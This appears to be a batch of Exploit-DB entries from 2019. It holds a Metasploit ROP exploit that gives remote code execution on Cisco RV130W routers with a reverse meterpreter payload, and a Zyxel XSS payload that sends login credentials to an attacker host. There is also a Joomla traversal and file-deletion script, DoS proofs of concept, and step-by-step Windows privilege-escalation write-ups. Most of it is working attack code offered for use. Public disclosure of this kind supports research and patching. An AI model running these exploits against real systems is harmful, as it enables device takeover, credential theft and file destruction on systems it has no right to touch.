# linux/armle/meterpreter/bind_tcp -> segfault
# linux/armle/meterpreter/reverse_tcp -> segfault
# linux/armle/meterpreter_reverse_http -> works
# linux/armle/meterpreter_reverse_https -> works
# linux/armle/meterpreter_reverse_tcp -> works
# linux/armle/shell/bind_tcp -> segfault
# linux/armle/shell/reverse_tcp -> segfault
# linux/armle/shell_bind_tcp -> segfault
# linux/armle/shell_reverse_tcp -> segfault
#
class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cisco RV130W Routers Management Interface Remote Command Execution',
      'Description'    => %q{
        A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router
         could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.

         The vulnerability is due to improper validation of user-supplied data in the web-based management interface.
         An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.

         A successful exploit could allow the attacker to execute arbitrary code on the underlying operating
          system of the affected device as a high-privilege user.

        RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.

        Note: successful exploitation may not result in a session, and as such,
         on_new_session will never repair the HTTP server, leading to a denial-of-service condition.
      },
      'Author'         =>
        [
          'Yu Zhang', # Initial discovery
          'Haoliang Lu', # Initial discovery
          'T. Shiomitsu', # Initial discovery
          'Quentin Kaiser <kaiserquentin@gmail.com>' # Vulnerability analysis & exploit dev
        ],
      'License'         => MSF_LICENSE,
      'Platform'        =>  %w[linux],
      'Arch'            =>  [ARCH_ARMLE],
      'SessionTypes'    =>  %w[meterpreter],
      'CmdStagerFlavor' => %w{ wget },
      'Privileged'      => true, # BusyBox
      'References'      =>
        [
          ['CVE', '2019-1663'],
          ['BID', '107185'],
          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'],
        ],
      'DefaultOptions' => {
          'WfsDelay' => 10,
          'SSL' => true,
          'RPORT' => 443,
          'CMDSTAGER::FLAVOR' => 'wget',
          'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
       },
      'Targets'        =>
        [
          [ 'Cisco RV130/RV130W < 1.0.3.45',
            {
              'offset'          => 446,
              'libc_base_addr'  => 0x357fb000,
              'system_offset'   => 0x0004d144,
              'gadget1'         => 0x00020e79, # pop {r2, r6, pc};
              'gadget2'         => 0x00041308, # mov r0, sp; blx r2;
              'Arch'            => ARCH_ARMLE,
            }
          ],
        ],
      'DisclosureDate'  => 'Feb 27 2019',
      'DefaultTarget'   => 0,
      'Notes' => {
        'Stability'   => [ CRASH_SERVICE_DOWN, ],
      },
    ))
  end

  def p(offset)
    [(target['libc_base_addr'] + offset).to_s(16)].pack('H*').reverse
  end

  def prepare_shellcode(cmd)
    #All these gadgets are from /lib/libc.so.0
    shellcode = rand_text_alpha(target['offset']) +       # filler
      p(target['gadget1']) +
      p(target['system_offset']) +                        # r2
      rand_text_alpha(4) +                                # r6
      p(target['gadget2']) +                              # pc
      cmd
    shellcode
  end

  def send_request(buffer)
    begin
      send_request_cgi({
        'uri'     => '/login.cgi',
        'method'  => 'POST',
        'vars_post' => {
              "submit_button": "login",
              "submit_type": "",
              "gui_action": "",
              "wait_time": 0,
              "change_action": "",
              "enc": 1,
              "user": rand_text_alpha_lower(5),
              "pwd": buffer,
              "sel_lang": "EN"
          }
      })
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
    end
  end

  def exploit
    print_status('Sending request')
    execute_cmdstager
  end

  def execute_command(cmd, opts = {})
    shellcode = prepare_shellcode(cmd.to_s)
    send_request(shellcode)
  end

  def on_new_session(session)
    # Given there is no process continuation here, the httpd server will stop
    # functioning properly and we need to take care of proper restart
    # ourselves.
    print_status("Reloading httpd service")
    reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S"
    if session.type.to_s.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
      session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\""
    else
      session.shell_command(reload_httpd_service)
    end
  ensure
    super
  end
end
            
# -*- coding: utf-8 -*-
# Exploit Title: PCHelpWareV2 1.0.0.5 - 'Group' Denial of Service (PoC)
# Date: 15/04/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.uvnc.com/home.html
# Software Link: http://www.uvnc.eu/download/pchw2/PCHelpWareV2.msi
# Version: 1.0.0.5
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "PCHelpWareV2.py", it will create a new file "PCHelpWareV2.txt"
# 2.- Copy the text from the generated PCHelpWareV2.txt file to clipboard
# 3.- Open PCHelpWareV2 Viewer
# 4.- Go to Properties
# 5.- Paste clipboard in 'Group' field and click on button 'Ok'
# 6.- Crashed

buffer = "\x41" * 100
f = open ("PCHelpWareV2.txt", "w")
f.write(buffer)
f.close()
            
# Exploit Title: Zoho ManageEngine ADManager Plus 6.6 (Build < 6659) Privilege Escalation
# Date: 15th April 2019
# Exploit Author: Digital Interruption
# Vendor Homepage: https://www.manageengine.co.uk/
# Version: 6.6 (Build 6658)
# Tested on: Windows Server 2012 R2
# CVE : CVE-2018-19374

Due to weak permissions setup on the bin, lib and tools directories within the ManageEngine installation directory, it is possible for any authenticated user to modify several core files.

To escalate privileges to that of LOCAL SYSTEM, drop a payload onto the system and then add a line to bin\ChangeJRE.bat to execute it every time the system is rebooted.
            
# -*- coding: utf-8 -*-
# Exploit Title: PCHelpWareV2 1.0.0.5 - 'SC' Denial of Service (PoC)
# Date: 15/04/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.uvnc.com/home.html
# Software Link: http://www.uvnc.eu/download/pchw2/PCHelpWareV2.msi
# Version: 1.0.0.5
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "PCHelpWareV2_create_.py", it will create a image "exploit.bmp"
# 2.- Open PCHelpWareV2 Viewer
# 3.- Go to Tools -> Create SC
# 4.- Click on button -> Browse (any "Browse" button), and select the 'exploit.bmp' image created
# 5.- Click on button -> Create SC
# 6.- Crashed

buffer = "\x41" * 10000

f = open ("exploit.bmp", "w")
f.write(buffer)
f.close()
            
# Exploit Title: Reflected XSS on Zyxel login pages
# Date: 10 Apr 2019
# Exploit Author: Aaron Bishop
# Vendor Homepage: https://www.zyxel.com/us/en/
# Version: V4.31
# Tested on: ZyWall 310, ZyWall 110, USG1900, ATP500, USG40 - weblogin.cgi, webauth_relogin.cgi
# CVE : 2019-9955

1. Description
==============

Several Zyxel devices are vulnerable to a reflected Cross-Site Scripting via the
mp_idx parameter on weblogin.cgi and webauth_relogin.cgi.

2. Proof of Concept
=============

Host a malicious file JavaScript file named 'z', or any other single character,
locally.  The contents of 'z' for the following example are:


-----
$("button").click(function() {
    $.get("//$LHOST", { username: $("input:text").val(), password: $("input:password").val(), host: location.hostname});
});
-----


Close the mp_idx variable with "; and Use the getScript functionality of jQuery
to include the malicious file: 

Request:

GET /?mobile=1&mp_idx=%22;$.getScript(%27//$LHOST/z%27);// HTTP/1.1
Host: $RHOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1



Response:

HTTP/1.1 200 OK
Date: Wed, 10 Apr 2019 23:13:39 GMT
Cache-Control: no-cache, private
Pragma: no-cache
Expires: Mon, 16 Apr 1973 13:10:00 GMT
Connection: close
Content-Type: text/html
Content-Length: 7957

<!DOCTYPE html>
<html>
<head>
	<title>Welcome</title>
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<meta charset="utf-8">
	<meta http-equiv="pragma" content="no-cache">
    <link href="/ext-js/mobile/css/jquery.mobile-1.4.2.min.css?v=180711001117" rel="stylesheet" type="text/css">
    <link href="/ext-js/mobile/css/style.css?v=180711001117" rel="stylesheet" type="text/css">
    <link href="/ext-js/mobile/css/theme.css?v=180711001117" rel="stylesheet" type="text/css">
	<link rel="stylesheet" type="text/css" href="/logo/mobile_custmiz_page.css?v=180711001117" /> 
	<script src="/ext-js/mobile/js/jquery-1.8.2.min.js?v=180711001117" type="text/javascript"></script>
    <script src="/ext-js/mobile/js/jquery.mobile-1.4.2.min.js?v=180711001117" type="text/javascript"></script>
	<script type="text/javascript" src="/lang/language_panel.js?v=180711001117"></script>
<script language="JavaScript">
	var errorNum = 0;
	var mp_idx = "";$.getScript('//$LHOST/z');//";
...


When the login form is submitted, the host for the malicious file gets a request
containing the login credentials and target system:

$LHOST - - [10/Apr/2019 23:04:41] "GET /z?_=1554937481076 HTTP/1.1" 200 -
$LHOST - - [10/Apr/2019 23:04:49] "GET /?username=test&password=test&host=$RHOST HTTP/1.1" 200 -
            
# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion
# Date: 2019-March-13
# Exploit Author: Haboob Team
# Web Site: haboob.sa
# Email: research@haboob.sa
# Software Link: https://www.joomla.org/
# Versions: Joomla 1.5.0 through Joomla 3.9.4
# CVE : CVE-2019-10945
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945
#
# Usage:
#  List files in the specified directory:
#  python exploit.py --url=http://example.com/administrator --username=<joomla-manager-username> --password=<joomla-manager-password> --dir=<directory name>
#
#  Delete file in specified directory
#  python exploit.py --url=http://example.com/administrator --username=<joomla-manager-username> --password=<joomla-manager-password> --dir=<directory to list>  --rm=<file name>


import re
import tempfile
import pickle
import os
import hashlib
import urllib

try:
    import click
except ImportError:
    print("module 'click' doesn't exist, type: pip install click")
    exit(0)

try:
    import requests
except ImportError:
    print("module 'requests' doesn't exist, type: pip install requests")
    exit(0)
try:
    import lxml.html
except ImportError:
    print("module 'lxml' doesn't exist, type: pip install lxml")
    exit(0)

mediaList = "?option=com_media&view=mediaList&tmpl=component&folder=/.."

print ''' 
# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion
# Web Site: Haboob.sa
# Email: research@haboob.sa
# Versions: Joomla 1.5.0 through Joomla 3.9.4
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945    
 _    _          ____   ____   ____  ____  
| |  | |   /\   |  _ \ / __ \ / __ \|  _ \ 
| |__| |  /  \  | |_) | |  | | |  | | |_) |
|  __  | / /\ \ |  _ <| |  | | |  | |  _ < 
| |  | |/ ____ \| |_) | |__| | |__| | |_) |
|_|  |_/_/    \_\____/ \____/ \____/|____/ 
                                                                       
'''
class URL(click.ParamType):
    name = 'url'
    regex = re.compile(
        r'^(?:http)s?://'  # http:// or https://
        r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|'  # domain...
        r'localhost|'  # localhost...
        r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'  # ...or ip
        r'(?::\d+)?'  # optional port
        r'(?:/?|[/?]\S+)$', re.IGNORECASE)

    def convert(self, value, param, ctx):
        if not isinstance(value, tuple):
            if re.match(self.regex, value) is None:
                self.fail('invalid URL (%s)' % value, param, ctx)
        return value


def getForm(url, query, cookie=''):
    r = requests.get(url, cookies=cookie, timeout=5)
    if r.status_code != 200:
        print("invalid URL: 404 NOT FOUND!!")
        exit(0)
    page = r.text.encode('utf-8')
    html = lxml.html.fromstring(page)
    return html.xpath(query), r.cookies


def login(url, username, password):
    csrf, cookie = getForm(url, '//input/@name')
    postData = {'username': username, 'passwd': password, 'option': 'com_login', 'task': 'login',
                'return': 'aW5kZXgucGhw', csrf[-1]: 1}

    res = requests.post(url, cookies=cookie.get_dict(), data=postData, allow_redirects=False)
    if res.status_code == 200:
        html = lxml.html.fromstring(res.text)
        msg = html.xpath("//div[@class='alert-message']/text()[1]")
        print msg
        exit()
    else:
        get_cookies(res.cookies.get_dict(), url, username, password)


def save_cookies(requests_cookiejar, filename):
    with open(filename, 'wb') as f:
        pickle.dump(requests_cookiejar, f)


def load_cookies(filename):
    with open(filename, 'rb') as f:
        return pickle.load(f)


def cookies_file_name(url, username, password):
    result = hashlib.md5(str(url) + str(username) + str(password))
    _dir = tempfile.gettempdir()
    return _dir + "/" + result.hexdigest() + ".Jcookie"


def get_cookies(req_cookie, url, username, password):
    cookie_file = cookies_file_name(url, username, password)
    if os.path.isfile(cookie_file):
        return load_cookies(cookie_file)
    else:
        save_cookies(req_cookie, cookie_file)
        return req_cookie


def traversal(url, username, password, dir=None):
    cookie = get_cookies('', url, username, password)
    url = url + mediaList + dir
    files, cookie = getForm(url, "//input[@name='rm[]']/@value", cookie)
    for file in files:
        print file
    pass


def removeFile(baseurl, username, password, dir='', file=''):
    cookie = get_cookies('', baseurl, username, password)
    url = baseurl + mediaList + dir
    link, _cookie = getForm(url, "//a[@target='_top']/@href", cookie)
    if link:
        link = urllib.unquote(link[0].encode("utf8"))
        link = link.split('folder=')[0]
        link = link.replace("folder.delete", "file.delete")
        link = baseurl + link + "folder=/.." + dir + "&rm[]=" + file
        msg, cookie = getForm(link, "//div[@class='alert-message']/text()[1]", cookie)
        if len(msg) == 0:
            print "ERROR : File does not exist"
        else:
            print msg
    else:
        print "ERROR:404 NOT FOUND!!"


@click.group(invoke_without_command=True)
@click.option('--url', type=URL(), help="Joomla Administrator URL", required=True)
@click.option('--username', type=str, help="Joomla Manager username", required=True)
@click.option('--password', type=str, help="Joomla Manager password", required=True)
@click.option('--dir', type=str, help="listing directory")
@click.option('--rm', type=str, help="delete file")
@click.pass_context
def cli(ctx, url, username, password, dir, rm):
    url = url+"/"
    cookie_file = cookies_file_name(url, username, password)
    if not os.path.isfile(cookie_file):
        login(url, username, password)
    if dir is not None:
        dir = dir.lstrip('/')
        dir = dir.rstrip('/')
        dir = "/" + dir
        if dir == "/" or dir == "../" or dir == "/.":
            dir = ''
    else:
        dir = ''
    print dir
    if rm is not None:
        removeFile(url, username, password, dir, rm)
    else:
        traversal(url, username, password, dir)


cli()
            
Windows: LUAFV LuafvCopyShortName Arbitrary Short Name EoP
Platform: Windows 10 1809 (not tested earlier)
Class: Elevation of Privilege
Security Boundary (per Windows Security Service Criteria): User boundary

Summary: 

The LUAFV driver bypasses security checks to copy short names during file virtualization which can be tricked into writing an arbitrary short name leading to EoP.

Description:

When creating a virtualized file in LuafvCopyFile one of the things that the driver copies across is the short name of the original file by calling LuafvCopyShortName. This uses the FileShortNameInformation information class to set the short name, however the problem with using this is it normally requires SeRestorePrivilege to be enabled, which a non-administrator won’t have access to. Therefore to bypass the privilege check the virtualized file is reopened without security checks, which results in the check being ignored.

The code looks roughly like the following:

NSTATUS LuafvCopyShortName(PFLT_INSTANCE Instance, 
                                                     PFILE_OBJECT ReadObject, 
                                                     HANDLE WriteHandle) {
  HANDLE FileHandle;
  PFILE_OBJECT WriteObject;
  NTSTATUS = FltCreateFileEx2(
          LuafvDriverData,
          Instance,
          &FileHandle,
          &WriteObject,
          FILE_WRITE_ATTRIBUTES,
          ...,
          IO_NO_PARAMETER_CHECKING);
  FILE_NAME_INFORMATION Name = {};
  if (NT_SUCCESS(status)) {
    if (NT_SUCCESS(FltQueryInformationFile(Instance, ReadHandle, &Name, sizeof(Name), 
                             FileAlternateNameInformation))) {
        status = FltSetInformationFile(Instance, WriteObject, 
            &Name, IoStatusBlock.Information, FileShortNameInformation);
     }
  }
  return status;
}

We can see in the code the writable file is re-opened with new access and without specifying IO_FORCE_ACCESS_CHECK. As FILE_OPEN_FOR_BACKUP_INTENT is specified then NTFS will mark this file as having restore privilege, even though the caller doesn’t, as the previous mode will be KernelMode. The original file is then queried for its alternate name (which is really its short name) and the short name is set through the FileShortNameInformation which will now succeed due to the way the file handle was opened.

Of course the question is how would you get this code to write an arbitrary short name? Although it’s not obvious if the name of the file is already a short name (as in a 8.3 DOS compatible name) then FileAlternateNameInformation doesn’t fail but returns the normal file name back to the caller. Therefore we can exploit this as follows:

1) Create a file with the arbitrary short name inside a directory which is virtualized, ProgramData is ideal for this as we can create arbitrary files. Make the file writeable only to administrators.
2) Open the file for virtualization, but don’t do anything to cause delayed virtualization to occur.
3) Use some symbolic tricks in the VirtualStore directory to cause the creation of that file to be redirected to a long name which would normally have an auto-generated short name.
4) Force the delayed virtualization to occur, the file with the long name will be created, however the short name will be read from the source file which has an arbitrary name. The short name is written bypassing security checks.

There’s probably other ways of doing this without symbolic link tricks, for example there’s a race between the time the file is opened and when the short name is queries. As the file is opened with FILE_SHARE_DELETE it should be possible to rename the source file between the initial open but before reading the short name.

What you could do with this ability is another matter. You could possibly trick some parsing operation which is relying on short names. Or you could create a directory which had two “normal” names rather than one auto generated one which could trick certain things. At any rate the EoP is the fact we can do this without needing SeRestorePrivilege.

I’m not going to speculate on how to fix this, as said while you might be able to block mount point traversal (seems unlikely as the user’s profile could be on a remote share or another drive) there’s probably other ways around this. 

Proof of Concept:

I’ve provided a PoC as a C# project. It will create an arbitrary file with an arbitrary short file name.

1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) As a normal user run the PoC passing the name of the target file to create (with a long file name) and the arbitrary short file name.

Expected Result:
The virtualization operation fails.

Observed Result:
The virtualization operation succeeds and the file has an arbitrary short name.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46715.zip
            
Windows: LUAFV Delayed Virtualization MAXIMUM_ACCESS DesiredAccess EoP
Platform: Windows 10 1809 (not tested earlier)
Class: Elevation of Privilege
Security Boundary (per Windows Security Service Criteria): User boundary

Summary: 

The LUAFV driver reuses the file’s create request DesiredAccess parameter, which can include MAXIMUM_ACCESS, when virtualizing a file resulting in EoP.

Description:

The LUAFV is an enabled by default file system filter driver introduced in Windows Vista to support old applications which write to administrative locations such a System32 by virtualizing file access when certain criteria are met. The initial criteria is the process’ token needs to have the VirtualizationEnabled flag set to TRUE. This is done automatically for certain process types for app-compat but can be changed through NtSetInformationToken as long as the VirtualizationAllowed flag is also TRUE. This is the case for all normal users, even on Windows 10 1809.

Outside of the token enable flag the file being opened must also meet a set of criteria:
1) The file being opened is in one of a number of protected locations.
2) The file can’t be owned by TrustedInstaller, but must have an ACE which grants the administrator full access.
3) The file name must not have one of a number of banned extensions, such as .exe.
4) The caller must be denied one of a set of write accesses when opening the file.

If the file is virtualized a copy of the real file or directory is placed in the user’s VirtualStore inside %LOCALAPPDATA%, however for performance reasons (presumably) the driver won’t always do the copy immediately. If a caller’s file creation request meets the four criteria for a file which already exists, but a copy does not currently exist in the VirtualStore then the driver enables Delayed Virtualization on the file. This results in the file being opened with the requested access rights with the original file opened with read only access. If a caller only uses the handle for read operations then those requests are serviced by the original file. If the caller makes a “write” request such as writing to the file or mapping the file writable then the virtualization kicks in, generating the file in the VirtualStore, opening that new file for the original write access and modifies the FILE_OBJECT’s context to now read and write to the new virtualized file. The original FILE_OBJECT can’t be replaced (unlike if the store file already exists which can be dealt with using a reparse operation from the filter) therefore many of the original properties of the “fake” file handle persist such as the granted access.

The vulnerability occurs in this process because during the initial filter process in LuafvPostCreate where delayed virtualization is setup the driver stores the SecurityContext->DesiredAccess as the requested access. This captured access is then used in LuafvPerformDelayedVirtualization when opening the newly created store file. As it’s possible to specify MAXIMUM_ACCESS as the DesiredAccess this results in the “fake” FILE_OBJECT’s handle access being set to FILE_ALL_ACCESS. When opening the store file MAXIMUM_ACCESS could result in a lower set access of access rights, however as the original FILE_OBJECT’s handle can’t be changed the caller can now pass file operations to the “fake” file and the driver will redirect them to the store file without further checking. Meaning if only read access was granted on the store file the user could bypass that and write to it.

You can’t just pass MAXIMUM_ALLOWED on its own during file creation as the driver wouldn’t see that as meeting criteria 4. So you also need to also pass one of the banned write access rights in DesiredAccess. However for the exploit to work this must also be granted on the store file so redirecting the create to an arbitrary location (using say a mount point) isn’t sufficient. However there’s two important things to observe:
1) As long as using the FILE_OPEN_IF disposition DELETE is a considered a banned write access.
2) A hardlink to a non-writable file can be created as a normal user. As long as the user has FILE_DELETE_CHILD on the directory containing the link then they’ll also be granted DELETE on the target file.

Therefore we can exploit this by doing the following:
1) Enable virtualization on the token (this works in 32 or 64 bit processes)
2) Open an existing file which would meet the rest of the virtualization criteria and isn’t currently virtualized with MAXIMUM_ALLOWED | DELETE as the access mask and FILE_OPEN_IF as the disposition.
3) Once opened the handle’s granted access will be FILE_ALL_ACCESS. 
4) Create the target virtualized directory in %LOCALAPPDATA% and add a hardlink to a file to write to as the target virtualized name.
5) Perform an operation on the “fake” file handle to cause virtualization to occur, such as sending an FSCONTROL. The driver will try and virtualize the file, notice the file already exists and then open the hardlink with MAXIMUM_ALLOWED | DELETE. As DELETE is allowed this will return a read only handle with DELETE access.
6) Write to the “fake” file handle, as the handle has write access this will pass through the initial system call layers. The driver will then forward the request to the virtual file which was opened only for read but will complete successfully allowing the caller to modify a file they can’t normally write to.

Fixing wise the new store file should be opened with the matching granted access on the original “fake” file handle. That way there can be no mismatch between the access granted on the “fake” handle and the backing virtual store file. It would also be interesting to know how often file virtualization is needed on modern systems and whether you could just remove it entirely.

These operations can’t be done from any sandbox that I know of so it’s only a user to system privilege escalation. 

Proof of Concept:

I’ve provided a PoC as a C# project. It will overwrite an existing file on the disk with arbitrary contents.

1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) As a normal user run the PoC and pass the path to a file to overwrite on the same drive as the virtual store. To prove it works the file should not be writable by the user normally. Note that the file needs to be shareable for write access otherwise it’ll fail due to the sharing violation.

Expected Result:
The virtualization operation fails.

Observed Result:
The virtualization operation succeeds with the string “FAKE CONTENT” written to the file.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46713.zip
            
Windows: LUAFV Delayed Virtualization Cross Process Handle Duplication EoP
Platform: Windows 10 1809 (not tested earlier)
Class: Elevation of Privilege
Security Boundary (per Windows Security Service Criteria): User boundary

Summary: 

The LUAFV driver doesn’t take into account a virtualized handle being duplicated to a more privileged process resulting in EoP.

Description:

When a caller creates the virtualized file handle the process token is checked for VirtualizationEnabled. If the flag is set and the file create request meets all the criteria for delayed virtualization the driver collates all the necessary information such as the virtual store location for the resulting file if it needs to be copied and stores it in the file object’s context.

When a caller performs an operation on the file which is considered a write action, such as writing or issuing any FsControl request then the method LuafvPreWrite is called which will call LuafvPerformDelayedVirtualization. This results in the store file being created and the contents of the original file copied into the new store file before assigning the new file to the original “fake” file object so that the user can continue to use the file.

The vulnerability occurs during LuafvPerformDelayedVirtualization. The driver doesn’t take into account the possibility that the virtualized file handle has been duplicated to a new process, specifically one which runs at higher privileges. For example if a normal user application creates the virtualized file, but then gets a SYSTEM service to duplicate the handle to itself and call one of the mechanisms to trigger LuafvPerformDelayedVirtualization the file creation will run as the SYSTEM user not the original user, but the path to the file will be the original user’s virtual store.

Examples of possible duplicate primitives would be RPC/COM services which duplicate the handle either explicitly through the system_handle RPC attribute or manually by querying for the caller’s PID and calling DuplicateHandle. Another would be a kernel driver which opens a handle in the current user’s context (or takes a handle parameter) but passes that handle to a system thread for a long running operation. In both these cases the file operation does have to occur without the privileged service impersonating the original caller.

You can exploit this behavior in at least two ways. Firstly you could replace the virtual store directory with a mount point. When the virtualization process goes to create the final file it will follow the mount point and create the file in an arbitrary location. The contents of the file are completely controllable by the caller, but even if the privileged code overwrites part of the file the original opened handle can be used to get write access to the file afterwards. The second way would be to drop a hardlink to a file that the privileged service can write to in the virtual store, then when the file is opened by the service it becomes possible for the original caller to modify the file.

Fixing wise I’d probably double check something in LuafvPerformDelayedVirtualization before continuing with the file copy. Perhaps something as simple as user SID + IL would be sufficient, or only for users in the same authentication session as that would even prevent its abuse in UAC cases.

These operations can’t be done from any sandbox that I know of so it’s only a user privilege escalation. Note that the user which manipulates the duplicated handle doesn’t need to be an admin, as it’d be possible to modify files owned by that user so it might be possible to abuse this for cross-session or LOCAL SERVICE/NETWORK SERVICE attacks.

Proof of Concept:

I’ve provided a PoC as a C# project. It will create the file dummy.txt with arbitrary contents inside the windows folder. Note that this PoC is manual, I’ve not gone through and worked out a system service which will perform the necessary operations but I’m confident one will exist as handle duplication is a fairly common technique and you don’t even need to write to the file just perform one of the known actions.

1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) As a normal user run the PoC. If there are no errors you should see the line: “Re-run the PoC as an admin with arguments - X Y”.
3) Run as the PoC again as an admin, passing X and Y as arguments from step 2. This admin can be SYSTEM, it doesn’t matter what session or user it runs as.

Expected Result:
The virtualization operation fails.

Observed Result:
The virtualization operation succeeds and the file c:\windows\dummy.txt is created with arbitrary contents.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46714.zip
            
Windows: CSRSS SxSSrv Cached Manifest EoP
Platform: Windows 10 1809, 1709
Class: Elevation of Privilege
Security Boundary (per Windows Security Service Criteria): User boundary (and others)

Summary:
The SxS manifest cache in CSRSS uses a weak key allowing an attacker to fill a cache entry for a system binary leading to EoP.

Description:
Manifest files are stored as XML, typically inside the PE resource section. To avoid having to parse the XML file each time a process starts CSRSS caches the parsed activation context binary format in a simple database. This cache can be queried during process startup or library loading by calling into CSRSS via CsrClientCall resulting in calls to BaseSrvSxsCreateProcess or BaseSrvSxsCreateActivationContext inside SXSSRV.DLL. 

The database is an AVL tree and uses the function BaseSrvActivationContextCacheCompareEntries to identify a hit or miss in the cache. The comparison function only checks the Win32 path to the file, the Win32 base path, the language string, the last write timestamp of the executable and some flags. BaseSrvSxsCreateProcess which is sent during process creation in CreateProcessInternal via the call to BasepConstructSxsCreateProcessMessage queries the cache for a new process, adding an entry to the cache if it doesn’t already exist. All the values used by the cache seem to be passed to BasepConstructSxsCreateProcessMessage with no further checking taking place. If an executable does not have a cached manifest entry a process can trivially add their own entry into the cache which would match against another executable file on the system. Once CSRSS has processed the manifest it’ll map the binary activation context into the new process’ memory and update the ActivationContextData value in the PEB so that it can be used.

Adding an arbitrary cache entry is a problem as the keying doesn’t take into account the different privilege levels in the same session. For example it should be possible to use this to escape a sandbox by filling in a cache entry for a process that will run at normal user privilege, when that process starts it’ll get the arbitrary cache entry allowing the attacker to hijack COM classes or redirect DLLs. There doesn’t seem to be any AppContainer specific flags (but I could have missed them). This is also a, relatively, trivial UAC bypass but of course that’s not a security boundary.

Polluting the cache for the user’s session doesn’t impact other sessions. Session 0 would be an interesting target, however in theory it’s not directly accessible and trying to connect to CSRSS’s ALPC port is rejected. If you have an arbitrary Session 0 code execution bug (such as case 47812) then you could access CSRSS but can it be done without any futher bugs? There’s a quirk in the handling of BaseSrvSxsCreateProcess. The call is made from the session of the process which is creating the new process, not the session of the new process. This means that any Session 0 service which creates user processes in other sessions will cache the manifest of that file in Session 0 CSRSS. Without directly calling CSRSS how can the arbitrary cache entry be created? 

The data passed to CSRSS is based on the data passed to CreateProcess, for example if you execute c:\windows\system32\abc.exe then that’s what’s passed to the cache, this it turns out can be hijacked, as most privileged process creation impersonates the caller (otherwise there might be a security bug) then a normal user can hijack the system drive during CreateProcess. By redirecting the system drive to an arbitrary directory the manifest data is parsed from an arbitrary executable, but the keying information passed to CSRSS is based on what the service thinks it’s created. Turns out this is made all the easier as you Wont Fixed this exactly problem 3 years ago in case MSRC 30096, oops. 

To summarise to exploit this issue for user to privileged process in Session 0 you do the following:
1. Find an executable which meets the following criteria
* Can be started by a normal user account and runs in session 0 as a privileged user. COM, services or scheduled tasks are usually good places to look for targets.
* The executable file has an embedded manifest, if the file doesn’t have a manifest then the cached manifest is not parsed or applied.
* The executable doesn’t get run very often, once the executable has been cached it’s hard to clear that entry again from a normal user account. You can modify a registry value in HKLM and it might be updated if an installer runs but I didn’t investigate this in detail.

2. Create an executable with a manifest which redirects a COM registration or similar to an arbitrary path, place in a temporary directory with the path information from the the file in 1. E.g. if you want to hijack c:\windows\system32\abc.exe, create the directory %TEMP%\windows\system32 and copy the executable as abc.exe. Clone the last write timestamp from the target file to the newly copied file.
3. Redirect the system drive to the temporary folder, when opening the file under impersonation it will be redirected to the executable with the target manifest.
4. Start the process using a service in Session 0 which will also impersonate during creation. WMI Win32_Process::Create is perfect for this.
5. Once cached start the original executable as the privileged user and induce it to load the hijacked COM class.

One quirk is when the XML file is parsed it doesn’t allow parent relative paths for DLLs, although it will allowing child relative (i.e. ..\..\abc.dll is blocked but test\abc.dll is allowed). This quirk can be circumvented by modifying the binary data before registering it with CSRSS, as the XML file is parsed in the creating process for a sandbox escape. For exploiting session 0 we can just pick a directory the user can write to relative to system32, Tasks is a good a place as any.

Proof of Concept:

I’ve provided a PoC as a C# project and C++ DLL. The PoC hijacks the CoFilterPipeline Class which is implemented in printfilterpipelinesvc.exe. This only runs as LOCAL SERVICE, but that includes Impersonate and Assign Primary Token privileges which is effectively admin. It was the best I could find at short notice as most of the other targets were used regularly which prevented the user from hijacking the cached entry. When the COM class is created is can be hijacked by querying for one of it’s interfaces, this results in loading the proxy class which the manifest redirects to the file “tasks\hijack\hijack.dll”, as printfilterpipelinesvc is in System32 this results in a controlled DLL being loaded into process.

1) Compile the C# project in Release for “Any CPU”. It will need to grab the NtApiDotNet from NuGet to work.
2) Run the PoC_ExpoitManifestCache.exe from x64\Release folder, ensuring the folder also contains hijack.dll. 

If the PoC fails with “Query succeeded, likely we couldn't hijack the proxy class” or "Cached manifest not used, perhaps we were too late?" It means that the printfilterpipelinesvc must have been run in session 0 previously. To test reboot the machine and try again as that should clear the cache. I don’t know if the cache gets cleared with power-off and power-on due to the fast boot features.

Expected Result:
The manifest file is not used by the privileged process.

